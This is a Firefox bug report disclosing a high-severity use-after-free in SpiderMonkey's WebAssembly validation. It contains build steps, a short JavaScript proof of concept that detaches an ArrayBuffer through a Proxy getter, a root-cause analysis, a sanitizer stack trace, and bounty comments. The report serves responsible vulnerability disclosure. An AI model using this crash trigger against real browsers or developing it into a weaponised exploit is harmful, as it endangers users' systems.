Use-After-Free in WebAssembly Module Validation via Detached ArrayBuffer
Categories
(Core :: JavaScript: WebAssembly, defect, P1)
Tracking
()
People
(Reporter: sakura, Unassigned)
References
(Blocks 1 open bug)
Details
(Keywords: csectype-uaf, reporter-external, sec-high, Whiteboard: [client-bounty-form])
Reproduce
- Clone the Firefox mirror from https://github.com/mozilla-firefox/firefox
- Run build command in the js/src directory of the firefox checkout:
mkdir fuzzbuild_OPT.OBJ && cd fuzzbuild_OPT.OBJ && ../configure --enable-address-sanitizer --disable-jemalloc --enable-debug --enable-optimize --disable-shared-js --enable-application=js --enable-gczeal && make -j64 - Run poc:
fuzzbuild_OPT.OBJ/dist/bin/js poc.js
Test SpiderMonkey commit hash: 3c23ce1368431d49bae08e8e211f7f2bf4e4829d
commit 3c23ce1368431d49bae08e8e211f7f2bf4e4829d
Author: stransky <stransky@redhat.com>
Date: 2025-09-08 04:20:40 +0000
Bug 1979106 [Wayland] Don't recycle buffer transactions across WaylandSurfaces r=emilio
POC (poc.js):
// Ultra-minimal WebAssembly crash
const buffer = new ArrayBuffer(4294967303); // 4GB+ buffer
const options = new Proxy({}, {
get(target, prop) {
if (prop === 'builtins') {
buffer.transfer(); // Detach buffer
gc(); // Force garbage collection
}
}
});
WebAssembly.validate(buffer, options);
Root Cause
The vulnerability occurs due to a use-after-free condition in SpiderMonkey's WebAssembly module validation process when handling detached ArrayBuffers. The issue arises when WebAssembly.validate() is called with a large ArrayBuffer and a Proxy object that triggers buffer detachment during the validation process.
The crash occurs in the WebAssembly decoder's read() method in WasmBinary.h:316 when attempting to read from a detached buffer. During validation, WebAssembly.validate() accesses the options object to check for the 'builtins' property, which triggers the Proxy getter. The getter calls buffer.transfer() which detaches the ArrayBuffer, making its underlying memory inaccessible. However, the validation process continues and attempts to read from the now-invalid memory location.
The problematic code path is in WasmBinary.h:
// Line 316 in Decoder::read()
template <class T>
[[nodiscard]] bool read(T* out) {
if (bytesRemain() < sizeof(T)) {
return false;
}
memcpy((void*)out, cur_, sizeof(T)); // SEGV occurs here - cur_ points to detached buffer
cur_ += sizeof(T);
return true;
}
The sequence of events is:
WebAssembly.validate()is called with a large ArrayBuffer (4GB+) and Proxy options- The validation process begins by creating a Decoder with a pointer to the buffer's data
- During validation, the engine accesses the options object looking for the 'builtins' property
- The Proxy getter is triggered, which calls
buffer.transfer()to detach the ArrayBuffer - Garbage collection is forced, potentially freeing the detached buffer's memory
- The validation continues and calls
Decoder::read()which attempts tomemcpyfrom the invalid memory location - This results in a SEGV when trying to read from address
0x7f957d300000(unmapped memory)
Crash Stack Trace
UndefinedBehaviorSanitizer Error: SEGV on unknown address 0x7f957d300000
Stack frames showing crash path:
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==2668821==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x7f957d300000 (pc 0x5572432ad2d8 bp 0x7ffe22c83b90 sp 0x7ffe22c83b70 T2668821)
==2668821==The signal is caused by a READ memory access.
#0 0x5572432ad2d8 in memcpy /home/sakura/.mozbuild/sysroot-x86_64-linux-gnu/usr/include/x86_64-linux-gnu/bits/string3.h:51:10
#1 0x5572432ad2d8 in bool js::wasm::Decoder::read<unsigned int>(unsigned int*) /home/sakura/gecko-dev/js/src/wasm/WasmBinary.h:316:5
#2 0x5572432ad2d8 in js::wasm::Decoder::readFixedU32(unsigned int*) /home/sakura/gecko-dev/js/src/wasm/WasmBinary.h:468:57
#3 0x5572432ad2d8 in DecodePreamble(js::wasm::Decoder&) /home/sakura/gecko-dev/js/src/wasm/WasmValidate.cpp:2443:10
#4 0x5572432ad47d in js::wasm::DecodeModuleEnvironment(js::wasm::Decoder&, js::wasm::CodeMetadata*, js::wasm::ModuleMetadata*) /home/sakura/gecko-dev/js/src/wasm/WasmValidate.cpp:3903:8
#5 0x5572432b754d in js::wasm::Validate(JSContext*, js::wasm::BytecodeSource const&, js::wasm::FeatureOptions const&, std::unique_ptr<char [], JS::FreePolicy>*) /home/sakura/gecko-dev/js/src/wasm/WasmValidate.cpp:4292:8
#6 0x5572431d2f7e in WebAssembly_validate(JSContext*, unsigned int, JS::Value*) /home/sakura/gecko-dev/js/src/wasm/WasmJS.cpp:4700:20
Register values at crash:
rax = 0x0000000000000000 rbx = 0x00007ffe22c84248 rcx = 0x0000000000000004 rdx = 0x00007f957d300000
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Comment 1•1 year ago
|
||
Thank you for this report! It appears this is a duplicate of bug 1987624, which was discovered earlier.
Comment 2•1 year ago
|
||
Since this duplicate was filed within our bug bounty collision window we are awarding a split bounty of $2000 (each), plus $1000 for the high quality report and root cause analysis missing in the other bug.
Updated•7 months ago
|
Description
•